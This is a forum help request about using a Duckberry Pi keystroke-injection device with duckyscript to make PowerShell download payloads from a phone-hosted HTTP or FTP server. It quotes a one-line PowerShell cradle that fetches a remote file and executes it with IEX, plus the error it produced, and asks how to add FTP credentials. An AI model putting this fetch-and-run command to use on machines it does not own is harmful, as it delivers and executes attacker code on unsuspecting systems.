Jump to content

Duckberry Pi & powershell to download payloads...


Recommended Posts

Hi All,

I'm looking for help with powershell commands.

I've got my duckberry pi working, and the plan is to have a duckyscript use powershell to download payloads from a http or ftp server (which is running on my android phone) on a local network.  I've got SimpleHttpServer and Android FTPServer hosting a text file, and they seem to be working, because I can access the test file via browser at ip:port & through FileZilla.

The closest I've gotten thus far to making this happen with powershell is this command:

powershell "IEX (New-Object Net.Webclient).DownloadString('http://XXX.XXX.XXX.XXX:12345/derp.txt')"

The error message I get is:

The term 'TEST' is not recognized as the name of a cmdlet, function, script file,
or operable program. Check the spelling of the name, or if a path was included,
verify that the path is correct and try again.
At line:1 char:5
+ TEST <<<<
    + CategoryInfo          : ObjectNotFound: (TEST:String) [], CommandNotFoun
   dException
    + FullyQualifiedErrorId : CommandNotFoundException

Now...the term 'TEST' is the only text within the derp.txt file, and it changes when I change the contents of the text file, so it appears to be able to accessing the right file in the right place.

Now, I can't figure out how to download this file.  Anyone have suggestions?

Also, what would this powershell script look like if I were attempting to access a file at a local ftp server?  And if that ftp server required username and password?

Thanks!

OBL
 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...